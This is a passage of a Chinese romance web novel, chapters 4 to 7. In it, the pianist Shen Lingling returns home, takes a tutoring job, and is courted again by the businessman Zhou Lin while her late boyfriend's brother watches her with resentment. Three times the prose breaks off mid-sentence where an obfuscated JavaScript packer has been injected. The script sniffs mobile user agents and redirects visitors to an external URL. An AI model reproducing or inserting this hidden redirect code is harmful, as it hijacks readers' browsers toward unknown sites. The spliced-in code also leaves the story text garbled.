下午四点,阳光斜斜地洒进26楼那间镶嵌着巨大落地窗的办公室。 许君辉手里拿着份文件,打开办公室门,走到周凛办公桌前,递了份文件过去:“看看。” 周凛坐直,接过文件,翻页。 许君辉也没闲着,顺手拉过一把椅子,坐在周凛面前,翘起了二郎腿,身体还随着椅子左右来回晃动着:“你还在追沈泠泠啊,为啥呀,不是都睡了三年了吗?” 周凛翻页的手一顿,抬起头,瞪了他一眼。 “不是我是真好奇。有这么念念不忘的吗?” “只有跟她接触过,才知道她好在哪。”周凛继续翻阅。 “哦,难道是那方面——”许君辉立马想歪了,“——很厉害?” “你再说信不信我赶你出去。”他抬眸警告。 许君辉嘿嘿一笑,双手十指交叉放在腿上,身体晃动的幅度小了一些:“我开玩笑的。” “你不觉得她很勇敢么?”周凛翻完资料,圈出两个数据的问题,推回文件夹给他,眼眸中露着欣赏,“她是特地回到以前的地方重新开始,自力更生的。” 她在国外会更好不是吗? 人生地不熟,也没人知道她的过去。 更何况她父母,还有姑姑都在那边。 可是她回了国内,坦坦荡荡地见朋友,甚至还承认,她跟他以前有过关系——当然这件事没多少人知道,之前是被人见到她进他的别墅,才有各种流言蜚语传出来。 “你这么喜欢她,真是让我很好奇她是个什么样的人。”许君辉嬉笑着说,摊开资料,皱眉盯着两个数据端详一阵。 周凛靠在椅背上,语气郑重地提醒他:“这家公司数据有问题,利率不对,别投资了。巴菲特说过一句话,如果一家公司不值得长期持有,那么一天也不要拥有。这也是我对于感情的宗旨。” 许君辉抬头,也不知是在说文件,还是在说周凛那番关于感情宗旨的话,冲他竖了个大拇指,称赞道:“牛。” 4. 回国(4) #chapter4 周凛初见沈泠泠是在初中入学典礼上。 那天晚上前面十几个学生表演千篇一律,直到主持人报出“沈泠泠”三个字。 她穿着白色晚礼服从侧幕走出来时,礼堂忽然安静了一瞬。 长发挽起,只在修长脖领落下几缕发丝,晚礼服是露出肩胛的款式,束光灯一步步地照着她前行。 没有刻意的笑容,没有多余的寒暄,她只是微微颔首,径直走向三角钢琴。 自从她出现,周凛的目光无法从她身上移开。 不是因为她弹得多么出色——事实上他根本不懂钢琴——而是她侧脸在聚光灯下的轮廓。 纤细的手指在琴键上起伏,脖颈线条优美得让人想起天鹅。 清冷似仙。 国际高中,大部分都是富家子弟或者明星的孩子。 沈泠泠在其中极为亮眼。 富二代中她算是最好看的,比明星都不为过。 以至于令人完全忽视了钢琴,目光牢牢地注视她这个人。 又或者是,她那张脸,令一个完全不懂得欣赏钢琴的人,也能牢牢地坐下听完。 弹奏完后,她也没有说一个字,只是鞠躬退场。 后来每次经过她班级,他总会不自觉地放慢脚步。 她坐在中间位置。 清冷,话少,不怎么交际,纤瘦,白皙,标准的鹅蛋脸,眼睛形状像月亮一般流畅,幽冷,小巧的鼻头和嘴唇。 有次体育课下雨,他在图书馆遇见她。 她站在屋檐下看雨。 旁边男生目光打量着她,窃窃私语。 她好像习惯了这样被人注视,目光清冷得像初冬的晨雾,波澜不惊。 后来听说沈泠泠加入了绘画社团,周凛立刻也跟着报了名。 他那时已经对商业运作有兴趣,画笔握在手里还不如计算器来得顺手。每次社团活动,他都坐在最后一排,装模作样地对着石膏像涂涂抹抹,实则目光始终停留在最前排那个纤细的背影上。 老师布置的永远是那些基础石膏。 然而沈泠泠在最前面,面对着石膏,画得却常常是窗外的花草、燕雀。 老师从不管她。 因为她是有基础的人,基础的石膏像对她来说太简单了。 更何况她学艺术。 学艺术的人总要有些追求的。 那几年,她就像天上的星辰那样,对他来说,渺远,不可亲近。 和她在一起的那仨年,他们也不是除了上床无事可做。 某个深夜,周凛醒来时发现沈泠泠已经醒了。他习惯性地从身后环住她,陪她一起望着落地窗外那轮清冷的月亮。 “你身上总有桂花的气息。”周凛低头轻吻她的肩胛,声音还带着睡意。不是浓烈的栀子,也不是普通的八月桂,而是那种四季桂——唯有凑得极近时,才能嗅到那抹若有若无的幽香,清雅得让人心尖发颤,“如果让你想一种植物形容我,你会认为是什么?” “柚子叶。” “哦?” “清新的刺激,浓烈,偶尔还带着辛郁的苦味。” “是吗?”周凛微微笑,这是他第一次听见有人用柚子叶形容他,很常见,可仔细想起来又似乎如此。这就是艺术家的敏锐吗? 柚子叶比喻很奇特。 以至于他对于这个柚子叶的形容念念不忘。 就像对她一样。 次日上午。 别墅前的高尔夫球场上,王家的几位男士正挥杆谈笑。 徐意瞥向远处,目光追随着玻璃长廊里走过的两个身影。 前面那个显然是王家的管家刘女士。 身后那个女性则窈窕纤细,隔着窗虽然瞧不清容貌,光凭身形气质也知道是个美女。 “她是谁?”徐意将球杆拄在草地上,眯起眼睛。 王驰擦了擦球杆:“新来的家庭教师吧。” 许君辉轻笑一声:“是沈泠泠。王琪说今天她来面试。” “沈泠泠回来了?”王驰明显有些意外。 “前两天刚回。”许君辉的目光若有所思地追随着那个身影。毕竟昨天他才跟周凛讨论过她。 轮到徐意击球,他却只是将双手搭在球杆上,嘴角勾起一抹玩味的笑,意有所指般:“原来她就是沈泠泠。” 长廊另一端,沈泠泠的脚步在拐角处一顿。她透过玻璃窗望向球场,两个熟悉的身影旁,站着一个让她心头一颤的男人。 她脚步顿住:“他是……” 管家顺着她的视线看去:“徐家二公子,徐意。” 沈泠泠轻轻点头,目光却不由自主地多停留了几秒。 原来是徐意。 “沈小姐,这边请。”管家的声音将她拉回现实。 管家领着沈泠泠走进音乐教室,当众放着一台施坦威钢琴B211。 琴凳上,穿着背带西装的王英州正绷着小脸练习音阶,稚嫩的手指在黑白琴键上略显笨拙地移动。 时间过得好快,前几年看还只是个坐在推车里的小娃娃。 “泠泠,好久不见。”刘之玲从琴谱架旁站起身,V字领口丝绸裙摆轻轻摆动。 “好久不见。” 刘之玲双手十指交叉放在下方:“既然是王薇推荐的,面试就是走个形式。你的水平我们都有数,就是担心……”她看了眼儿子,“小孩子不好带。要不你先带他弹一曲?” “好。”沈泠泠自然地坐到琴凳边缘。 王英州往旁边挪了挪,沈泠泠的手指悬在琴键上方:“会弹《卡农》吗?” 小男孩瞥了他一眼点点头。 “那我们从这里开始。”她的手指落下,王英州迟疑片刻,慢慢跟上了节奏。 刘之玲微微一笑,等他们弹完才说:“看来不管多大的男人都喜欢美女。对你这个老师可老实多了。” 沈泠泠只微微笑,不置可否。 “你觉得我这孩子天分怎么样?”刘之玲又问。 “挺好的。”沈泠泠道,“小孩子只要有兴趣又努力,总能练到不错的水平。” 刘之玲一笑,她倒也没有“吹捧”。 “行,我这没什么问题。那就谈薪水了。” 面试比想象中顺利。 刘美玲开出的条件是:暑假期间每周三天,每天三个课时,月薪两万五,福利齐全。 中午。 沈泠泠走出王家别墅,远远见到别墅门口停着一辆明黄的敞篷跑车,跑车里坐了个人,她扫了眼不以为意,走出大门口。 那跑车却跟着开出来,亦步亦趋地开在她附近。 “沈小姐,要不要我送你回去?”徐意的声音混着引擎的低鸣。 沈泠泠脚步未停:“不用了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459207|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “万一我们顺路呢?” “谢谢,不用。”她再次拒绝,抬起眸就能看见她的小区。之所以租那个小区,便是因为地理交通极为合适,去王家不需要开车,只需要步行二十分钟不到。 徐意单手搭在方向盘上:“沈小姐没车吗?不会开还是卖掉了?” 他意有所指地问,沈泠泠没有回答,甚至都没有转头去看那张熟悉的脸。 到了人行路口,她停下等灯。 徐意望着沈泠泠的背影,在她走到马路中央时,突然按了一声喇叭。 喇叭声在人行道上显得格外突兀。 沈泠泠这才转头看他,那张跟徐庭八分类似的面容。 徐意挑眉笑了笑。 滴答一声。 徐意低头拿起副驾驶位的手机 Stay乐队群:今天没有排练安排。 他随手回了个:OK。 再抬眼时,沈泠泠已经走到另一侧马路对面。 红灯亮起,徐意踩下油门,直行离开。 沈泠泠回到公寓。 除了钢琴收拾出来,其他还没有收拾完毕,她的东西太多,这里又太小,衣柜连衣服都放不下。 她蹲下身,慢条斯理地整理着衣物,直到胃里传来轻微的抗议。 厨房里冷冷清清,冰箱空空如也。 她拿起手机,在软件上点了份外卖。 不久后,敲门声响起。 “你好,外卖!” 沈泠泠拉开门,外卖员的目光在她脸上停留了几秒。 顶层的走廊安静得能听见电梯运转的声响。 “谢谢。”她接过袋子,不太像不礼貌,可还是很快关上门。 她从小就经常被注视,不过顶楼只有两户,这种过于安静、她没办法防卫的情况下被注视不太舒服。 既然工作定了,是时候要再找个便宜点的、稳定的做饭阿姨——至少在她学会自己做饭前。 她不太喜欢在外面吃东西。 也不会做饭。 吃过饭,继续收拾东西,转眼间到了傍晚。 夜风拂过阳台,沈泠泠倚在栏杆上,端看城市千家万户。 不想点外卖。 连包零食都没备。夜风拂过脸颊,她懒懒地不想动弹。 来了微信:下来,我请你吃饭。 这样毫无疑议的语气,显然是周凛。 沈泠泠扫了眼。 对方又发来微信:今天面试怎么样,跟我聊聊? 以前的朋友有意无意也都淡了。 连王琪这种也在慢慢淡化。毕竟她们现在的生活水准完全不相符,她不能总是陪她出现在奢侈品店,吃几千一顿的饭。 可周凛倒是没怎么变,他是在她落魄时提出交易,从那之后一直很热络。是最快熟悉她境况的人。 手机震动,周凛的语音传来: “你应该知道,只要我想找肯定能找到你在哪栋?你希望我上去敲门吗?” 周凛太强势,要是她对他一点好感都没有,简直都算得上跟踪狂了。 沈泠泠低头打字回复:吃什么? 她也确实饿了。 周凛:寿司或者烤肉? 沈泠泠:烤肉吧。 中午没怎么吃饱,那家不好吃。沈泠泠想要补充多一些蛋白质。 周凛:行。我就在小区门口,我等你。 5. 回国(5) #chapter5 暮色四合,小区里陆续亮起灯火。 周凛坐在宝马驾驶座,手指有一搭没一搭地轻叩方向盘。 作为从小接受精英教育的商业人士,他向来信奉“注意力即生命”的信条,从不在无关紧要的事上浪费分秒。 沈泠泠也是同样的。 一旦被判断为值得等待的人,那么付出再多耐心也不为过。 大概半个小时后,沈泠泠下楼。 依旧是一贯的打扮——无袖修身裙,裙摆恰到好处地停在膝上,素净的白色衬得肌肤如雪。今加了件轻纱外套,想必是怕晚上冷。 沈泠泠坐上副驾驶位,拉下安全带:“抱歉,久等了。” 周凛唇角微扬:“不要紧。”车子平稳驶出,“去华溪路那家老店?” “嗯。” 这会儿正是下班高峰期。业主们纷纷骑车回家。 城市霓虹在车窗投下变换的光影。 那家韩式烤肉店离得不远,主打日本阿古猪肉,肉质鲜美又不腻口。 两个人找了个封闭的竹式包厢。 周凛和沈泠泠点菜。 他们相处三年,流程很熟稔,各自点各自的,只不过周凛一如既往,半解开西装挂在一侧,边对服务员说:“给她来杯新鲜的椰汁。” 沈泠泠脱下那件纱衣外露,往后拢头发,从手腕脱出一条纤细的皮绳,扎住头发,纤细的手腕在灯光下白得晃眼。 令他不禁怀念起那三年,起码他能直接上去咬一口。 周凛喝了口水,直勾勾盯她扎完头发后,才问:“今天面试怎么样?” “挺成功的。”沈泠泠轻声道。 “给你开的薪资多少?” “两万五。” 周凛眉梢微挑,指节在玻璃杯上轻叩:“低了。” “现在经济形势不好。钢琴行业现在也不景气。” 周凛喝了口水,喉结滚动:“经济下行影响的是中低层。中产家庭会砍艺术类教育支出,中层水平老师会去跟低层竞争。像你这样的顶尖水平,任何时候都物以稀为贵。”他话里有话,分明在说王家不够厚道。 服务员端上滋滋作响的烤肉,油脂的香气在包厢里弥漫。 “怎么不考虑进乐团?那样更稳定。”周凛又问。 “我想跟小孩接触。” 周凛更为意外,眼尾笑意更甚:“你喜欢小孩,看不出来?” “我不喜欢养育小孩。”沈泠泠夹肉放上去,“但偶尔相处还不错。乐团演出久了会变成机械工作,我享受教孩子弹琴的过程,那是重新体会钢琴的新鲜感。孩子们总能问出意想不到的问题,就像我姑姑的孙女那样。” 她的头发扎得很松,有种极为松适、惬意的美感。 周凛眼睛转也不转地含着她,轻笑。 难怪她能接受这个薪资,原来不是当作工作,而是当作乐趣。 “这样很好。做喜欢的事,怎么都不亏。人生苦短。” 说完,他翻面烤肉,烤好的肉夹入沈泠泠碗中。他知道她不喜欢吃带调料的肉,完全烤好的肉香足以抵过任何加工的味道。 “房子住得还习惯吗?”他问,手中的夹子没有停。 “嗯。”沈泠泠轻应,“打算找个能帮忙打扫和做饭的阿姨。” “要不要我帮你推荐?” 她摇头,细白的手指捏着筷子,将肉片分成小块。 周凛继续烤着肉,先给她夹了两片才给自己。 他记得以前自己偏爱重口味,是沈泠泠让他习惯了这样原汁原味的吃法。 久而久之,竟也能品出肉香中的层次。 沈泠泠小口吃着肉,她纤瘦的身形和清冷的气质,总让人误以为她食素。 实际上她无肉不欢,尤其钟爱牛肉、鱼肉和生蚝,但坚持不加调料,只品尝食材本味。正因她对食物的挑剔,周凛才总带她来这家店。 用餐过半,周凛自然地抽了张纸巾,轻轻拭去她嘴角的油渍。 三年的朝夕相处,再清冷的仙女也会沾染人间烟火气。 他从不把她供在神坛上——那意味着永远无法真正靠近。 沈泠泠吃饭很慢,每一口都要细细咀嚼。这不是缺点,反而让周凛学会了放慢节奏,真正品味食物的美好。 她离开的那段日子,他再没遇到过能这样安静专注地享受一顿饭的人。 走到半途,沈泠泠借口去洗手间,回来后状似不经意地问:“你已经付过账了?” 假装偶尔离开,实则付账这种事情,周凛十岁就学会了,沈泠泠却还有些生疏。 他轻笑:“当然。说好我请你。要是介意,下次回请。” 沈泠泠没再说话。 用完餐走出店门,夜风裹挟着城市的气息扑面而来。 周凛为她拉开车门:“送你回去。不过路上要先去趟公司处理点事,方便等我吗?” “可以。”沈泠泠系好安全带。 周凛开车到腾行大厦停车场,他扬头:“下来,我带你看看我公司。” 以前她从没看过。 沈泠泠本来是打算待在副驾驶座等他。 听他这样说,便走下来。 透明电梯匀速上升,26层的数字亮起时,眼前豁然开朗——全景落地窗外,整座城市的灯火尽收眼底。 开阔的办公区域以淡棕与浅灰为主调,处处透着低调干练的气息,与周凛的性格如出一辙。 果然是他的办公室。 “稍等。我处理一下文件。”周凛拉开椅子在办公桌前坐下,“你可以随便看看。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459208|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈泠泠点点头,高跟鞋踩在红绒地毯上,不出动静地参观。 这里有其他房间,像是卧室,估计他经常睡在这里。 当她走到另一面墙前时,脚步突然停住。 墙上整齐地挂着几幅抽象画作,线条简洁却充满张力——那是她高中的习作。 交的画老师说会收起来办小型画展,但最后几节课她没去,这些画也就被遗忘了。 没想到在他这里。 沈泠泠足足凝视很久。这是她的高中生涯,还很任性。 喜欢模仿杜尚、蒙德里安。 不到十分钟,周凛处理完工作,走到她身侧:“和我的办公室很配,不是吗?我很喜欢。” 这句话就轻轻吐露在她耳侧。 沈泠泠移开视线:“处理好了?” “好了。我送你回去。” 回程的车厢里很安静。 到小区楼下。 “谢谢你今天请客。”沈泠泠说完正要下车,她推推,却发现车门锁没开,扭过头看周凛。 “既然你不讨厌我,”周凛转过头,目光灼灼,“我打算以朋友的身份重新追求你。” 沈泠泠停了一阵才回答:“如果没有把你当朋友我不会跟你出来。” 车窗前不时有其他车开过来,光线在他眼中她极为动人的脸上流转。 周凛轻笑,沈泠泠也是个很直白的人。 “滴答”一声,是解开安全带的轻响。 周凛突然倾身过来,强势地将她笼罩在阴影里,温热的唇不容拒绝地覆了上来。 他们从烤肉店出来,身上沾着烤肉的气息。 红尘俗世的味道。 恋爱是精神上的,感受上的,到最后总会发展吃吃喝喝、身体的深入接触,彻底进入红尘俗世。 就像此刻周凛的唇,他总有最无微不至的关心和极其灼热的欲望。以至于刚在一起那段时间,每晚他都来,她总怀疑他是不是有那种瘾。 沈泠泠下意识地抿唇抗拒,却仍不可避免地吸入他的气息。 毕竟他们身体很熟悉。 她抬手抵住他的胸膛:“我还没有答应你。”认真地说,“你要做好我未必会答应你的准备。” 周凛微微一笑,低头吻她的手背缓解:“我知道。”她要不愿意他也不能硬来。 指腹在她脉搏处轻轻摩挲,“今晚我回别墅睡,地址你知道。办公室也带你看过了。”顿了顿,“以后有任何事,都可以来这两个地方找我。” 沈泠泠点头。 周凛拢拢她头发,克制住还想再亲下的念头,这才回身按下开门锁,沈泠泠打开门出去。 望着她穿过车前镜的身影,周凛视线跟着她,慢条斯理地松了松领带,轻舒一口气。 可是他对她,志在必得。 6. 回国(6) #chapter6 沈泠泠回到公寓,径直走向浴室。 她拧开浴缸的镀金水龙头,热水汩汩涌出。 坐在浴缸边等着水浸满。 身上还残留着烤肉的烟火气,混合着一丝若有若无的柑橘香——那是周凛身上的味道。 自从她说过他像柚子后,他便刻意选用这类香调。 手机屏幕亮起。 周凛:这几天要去日本,大概一个月。回来找你。 她回复:一路顺风。 对话框上方显示“对方正在输入”,收到她的消息后,最终只回了一个简短的:好。 沈泠泠起身去衣帽间取睡衣。 脱下外衣,踏入浴缸,热水瞬间包裹全身。 蒸腾的水汽中,她望着自己浮在水面的发丝。 她不是个对生活有计划的人。 如果想要结婚生子、过跟以前差不多的优渥生活。 周凛无疑是最佳选择。 至少经过三年,他对她仍然有热情。感情也在,物质也有。 可她还是想试试自己一个人独自生存。 之前在姑姑那碰见一个勤工俭学的女学生,她也生活得很好。 沈泠泠的工资已经比国内大多数人好多了。 偶尔也能买点奢侈品或者吃以前吃惯了的东西。 她也不是非要咬牙吃苦、印证自己能够独立生存的类型,还是想在自己可承受范围内尽量舒服一点,慢慢地尝试去适应匹配自己的新生活。 王英州还没放暑假,沈泠泠暂时不用上班。通过物业介绍,她请了位四十出头的张阿姨来帮忙。 这位阿姨模样看着年轻又文静,干活特别仔细,做出来的饭菜口味偏清淡,沈泠泠觉得挺合心意,当下就定下了她。 双方商定好,阿姨一个月来家里二十天,每次只负责做午饭和晚饭。买菜的钱由沈泠泠出,另外每个星期来打扫一次卫生,每月收费3500元。 前两个星期,两人相处得挺融洽,没什么问题。 这天中午,吃过午饭。 “沈小姐,你是钢琴老师呀?”张阿姨一边麻利地擦着衣柜,目光不经意间落在了那台造型典雅、体积庞大的钢琴上。 记得刚上门的时候,沈泠泠就特意交代过,其他地方都可以打扫,唯独这钢琴,让她自己来清理,不用阿姨动手。 “嗯。”沈泠泠头也不抬地翻着杂志。 “这工作好啊,一个月能挣万把块吧?”张阿姨擦得更起劲了,“能住这小区还请阿姨,肯定赚得不少。” “差不多。” “对了,听您说话这口音,是本地人吧?”张阿姨又饶有兴致地问道。 “对,是本地人。”沈泠泠抬起头,看了张阿姨一眼,又垂下了眼帘。她不太喜欢有人打探她的隐私。 “那你怎么不住在父母家呢?”张阿姨接着问。 沈泠泠心里已经有点不想回答了,前两个星期张阿姨还挺腼腆的,只顾着干活,很少聊天,可能是现在彻底放松下来,想跟自己闲聊几句。 沈泠泠半靠在沙发上,手里翻着美术杂志,只淡淡答道:“他们在国外。” “国外好呀,福利多。”张阿姨接话道。 此时,张阿姨的活儿都干完了,菜也做好了,她站在那儿,看着沈泠泠,有点欲言又止:“那个,沈小姐,不知道你有没有男朋友啊?我儿子,就在这附近大学读研究生,马上就要研究生毕业升博士了。一本。你要不要考虑看看?” 沈泠泠微微皱了下眉:“抱歉,没有兴趣。” “看看不要紧的。年轻人常来往交个朋友也没关系。我让你们加个微信,先聊聊。”张阿姨不死心地继续劝说。 沈泠泠放下杂志,起身走向餐桌:“不用了。”她的语气依然温和有礼,教养让她不会轻易表露不悦,但明显不愿继续这个话题。 张阿姨见好就收,客气地说:“那行。我先走了。” 沈泠泠轻轻叹了口气。 吃完饭,她把餐盘放进水池,看着堆积的碗筷,考虑着要不要添置一台洗碗机。 拿出手机想看看价格时,一条热搜突然跳入眼帘:#日本大阪附近发生地震#。 她的手指顿了一下,点开详情看了看,犹豫片刻还是给周凛发了条消息:最近日本地震,你注意安全。 此时的周凛正在大阪考察。 这段时间他刻意没有频繁联系沈泠泠,知道她不喜欢太过黏腻的关系。 走访了几家当地企业后,日本市场一如既往保守和缺乏活力,鲜少有好的投资机会。 回国前他特地去逛大阪著名的心斋桥。 自从沈泠泠说过他身上气味像柚子。 有一日中秋晚上,他专门买了颗柚子,低头坐在办公室切开感受柚子皮那强烈的清新炸在空气中的感觉。 确实很像。 这次他特意去了香水专柜,试了几款柑橘调的香水,最终选了爱马仕的李先生花园,清冽中带着薄荷的凉意——男人也要为悦己者容。 另外也想给沈泠泠买份香水,作为礼物。 周凛正站在香水专柜前,商场广播突然响起:“日本气象厅提醒,未来几天可能还有余震,请市民注意安全……” 在日本待久了,对这种地震预警早已习以为常。 来了微信。 他低头看了眼沈泠泠发来的消息,唇角微扬,手指在屏幕上轻点:没事。你担心我? 沈泠泠:出于礼貌。 周凛的笑意更深了:关心就是关心。他一边让店员打包香水,一边继续打字:正在给你挑礼物,想要什么? 沈泠泠:没有想要的。 周凛:那就是想要我。 他按下发送键,想象着她看到这句话时的表情,他莞尔一笑。 周凛:放心,我很快回来。 屏幕那头,沈泠泠看着这条消息:“……” 他一向也是蛮厚脸皮的。 既然他没事,就算了。 次日,徐意带着乐队成员回到公寓,楼底正好一个阿姨跟他们一块儿坐电梯上来。 徐意率先按下二十楼,往后走了两步,恰好能看见阿姨的微信界面。 阿姨正在跟人聊天,跟备注“儿子”的人。 聊天框有张照片,阿姨把她放大看了一阵,白衣女孩侧身坐在沙发上翻阅杂志,侧脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459209|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极其秀美。 张阿姨松开照片发语音:“儿子,我给你拍了照片。看看,那姑娘可漂亮了。人家是钢琴老师,父母都在国外呢。还是本地人,有本地户口,以后孩子都能在这儿上学。” 顶楼就两户,这个阿姨也没按其他楼层。 “你是来找人的吗?”他问。 张阿姨这才注意到这群年轻人,连忙收起手机:“我是家政阿姨。” “二十楼?” “对对。” “那就是我对面。”徐意唇角微勾,“正好我也缺个阿姨。主要做什么?多少钱?” “主要就是做饭,一个星期打扫一次卫生。三千五。” “那顺便帮我这边也做了吧。” “好啊。”张阿姨当即眼睛亮了,要是同一栋同一层,那不是更方便,加起来一个月七千呢。 “阿姨,加个微信。”徐意主动说。 两人加完微信,张阿姨脸上掩不住的喜色。现在的年轻人不仅长得俊,出手也阔绰。 “这房子是你们租的还是买的?”她忍不住多问一句。 “买的。”徐意漫不经心地转着手机,“我们搞乐队,专门买来排练用。” 张阿姨暗自咋舌,买套房子就为练乐队,真是有钱没处花。 回到顶楼,张阿姨习惯性地先去敲了敲对面房门。门开时,那个熟悉的白衣身影一晃而过——果然是沈泠泠。 背着吉他的阿乐凑过来:“对面住人了?” “嗯。”徐意目光微沉,注视了一阵对面已关上的房门。 上次回来时,他就发现对面一直空置的屋子突然门户大开。 满地行李箱中间,有个女生背对着门口弹《水边的阿狄丽娜》。 他盯着对方背影,停下听了很久。 以至于过两日,他跟王驰、许君辉一块儿打高尔夫,再次见到那个身影,一下便认了出来,这才知道原来她就是沈泠泠。 徐意推开门,身后的乐队成员熟门熟路地涌进屋内。 玄关处的雪白小朵铃兰散发着若有若无的清香。 客厅正中央的沙发转角放着两张照片。 第一张是兄弟合照,两个人勾肩搭背。 看得出年龄相差几岁,眉眼如出一辙,极其相似。 另一张是斯坦福毕业典礼上的留影——徐意穿着学士服站在父母中间,父母手中捧着香槟玫瑰,而他握着的却是一束铃兰。 那束花不是来自家人。 当时他从同学手中接过那束花,同学取笑说是哪个暗恋他的女生送的,还揶揄说那女生极其漂亮,像白玫瑰花。 花束旁有一张烫金贺卡,上面一行娟秀的小字:“Congratulationsonyourgraduation!Mayyourfuturebefilledwithsuccessandhappiness.” 字迹纤细灵动,水蓝钢笔字。 没有落款。 但那个白玫瑰一样的形容让他猜到是谁,听说她当时也在国外,是替他哥送的么? 沈泠泠,他哥以前的女朋友。 他哥的初恋,也是人生中唯一的一任。 7. 回国(7) #chapter7 徐意至今清晰地记得初见沈泠泠的场景。 那天他正在客厅写作业,忽然听见门锁转动的声音。抬头就看见哥哥徐庭牵着个穿白裙子的女孩走进来。 那是十四岁的徐意第一次见到沈泠泠。 她安静地站在徐庭身边,像株含苞的白玫瑰。明明只比他大两岁,却已经美得不真实——瓷白的肌肤,鸦羽般的长发,嘴角翘起,柔软得像花瓣的唇。 像童话故事里才会出现的女生。 父母热情地招待了她。 徐意知道,哥哥虽然说是“社团朋友”,但这是第一次带女生回家。 家里人都默认了他们是男女朋友,还留了沈泠泠吃饭。 两个人从小学就是同学,初中因为参加绘画社团深入接触。 初中暑假结束时,徐庭表白,两个人正式在一起,双方家长也都知道。 原本这段感情会受到所有人的祝福。 直到徐庭大二那年。 沈泠泠丢了绘画器材,她自己打车从学校回来。 那个司机见她一个小姑娘见色起意,故意开车去往偏远的地方。 沈泠泠察觉到不对,路上悄悄给徐庭发定位。 徐庭赶到,为了维护沈泠泠跟司机争执,暴怒的司机猛踩油门,竟然把徐庭撞死了。 这件事无疑对两方都是打击,他们知道罪不在沈泠泠身上。 可徐家失去的是亲生儿子,亲哥哥,当然会比作为女朋友身份的沈泠泠更痛苦。 总是不禁想,要是徐庭没有跟沈泠泠交往; 要是她没有选择发微信给徐庭,而是发给她自己的父亲; 如果她报警,而不是找男朋友; 如果徐庭没有去…… 或者说他没有跟沈泠泠谈恋爱,是不是一切都不会发生? 如果…… 无数个如果…… 葬礼上,徐意一直有意无意关注她。 也许因为那天,她穿了一身黑——跟他哥谈恋爱后,沈泠泠经常来他家,他从来没见沈泠泠穿过黑色。 徐庭说过她不喜欢重色。 当天,沈泠泠长久地站在门口附近,用一只手轻轻拢着胳膊。 远远地凝视着遗照,睫毛只偶尔微颤一下。 她一直没说话,到最后,才用手指极轻抹了下眼尾,低眸两秒,转身离去。 没有声嘶力竭地哭,跟他父母那样喉咙沙哑得说不出话。 可不知为何,那个景象令高中的徐意记得很牢,因为他确切地在她身上看见了哀伤。 有时候痛苦也是相对的。 他们全家是事后见到的徐庭。 而沈泠泠是亲眼看见徐庭被撞死的,就在距离她不到一米的距离。 司机想撞的还是他们两个人,徐庭当时特意推开了沈泠泠。 沈泠泠那段时间在学车,但那之后她没再去过。 接下来两家冷淡,不再来往。 毕业,沈泠泠给徐意送毕业花,大概是因为,当初徐庭带沈泠泠来时,笑着说:“等我弟弟毕业时,我们一起送他花。” 徐意坐在沙发上,看着兄弟两个人的合照,上面徐庭笑意盎然,充满生机。 这几年徐意在国外读书,陆陆续续听到沈泠泠的一些消息。 沈家破产。 周凛为沈泠泠买了一栋别墅,让她住了进去。 她家的事也被周凛解决。 男女之间这种事,还能有什么猜想。 沈泠泠极其美貌,但是个金丝雀,无依无靠时,迅速选择了一个裙下之臣投靠。 他眼眸露出一丝戾气和鄙夷: ——枉费他哥哥,为了这种人丧命。 下午的天气晴朗,王家别墅的音乐教室。 沈泠泠的手指在黑白琴键间轻盈跃动,带动着王英州。 “音乐是个性的表达,巴赫崇尚宗教,旋律规格严整;肖斯塔科维奇则性格内向敏锐,想用音乐拯救现实,所以旋律大多激昂、亢奋,充满争诉求。他把恐惧和勇气都揉进了音符里。” 琴声戛然而止时,刘之玲的身影已经立在门边多时。 她环抱双臂,暗红指甲来回点着胳膊的真丝衣袖。 课时结束,王英州很有礼貌地鞠躬:“谢谢老师。” 他被阿姨叫出去补充下午的蛋白质和水果。 刘之玲踱到钢琴前,指尖在钢琴上随便按了两下:“沈老师,我问了英州,这两个星期,他说你上课挺好的。不过有件事我想找你谈谈。” “您说。” “那些音乐家的故事,”刘之玲的嘴角挂着得体的微笑,“是不是讲得太多了?课时费不是问题,但技巧才是重点,不是吗?” 见她不再弹了,沈泠泠合上琴盖。 “理解音乐的创作背景,才能弹好一首曲子。他以后想成为大师,也要走这条路。如果担心占用练习,我可以加时间。” “他不需要成为音乐家。”刘之玲打断她,“以后他是要接管王氏企业的,不靠钢琴吃饭。” 刘之玲语气里表露学艺术似乎没有作为“商业接班人”高贵。 “产生兴趣才会真正从钢琴里面得到绵长的乐趣。”如果只是为了才艺而才艺,难免得不偿失。后半句沈泠泠没说。 “我还是希望更有技巧些,毕竟他马上要参加钢琴竞赛。”刘之玲直视着沈泠泠,以着主顾的语气。 沈泠泠点点头,没再辩驳:“好。” 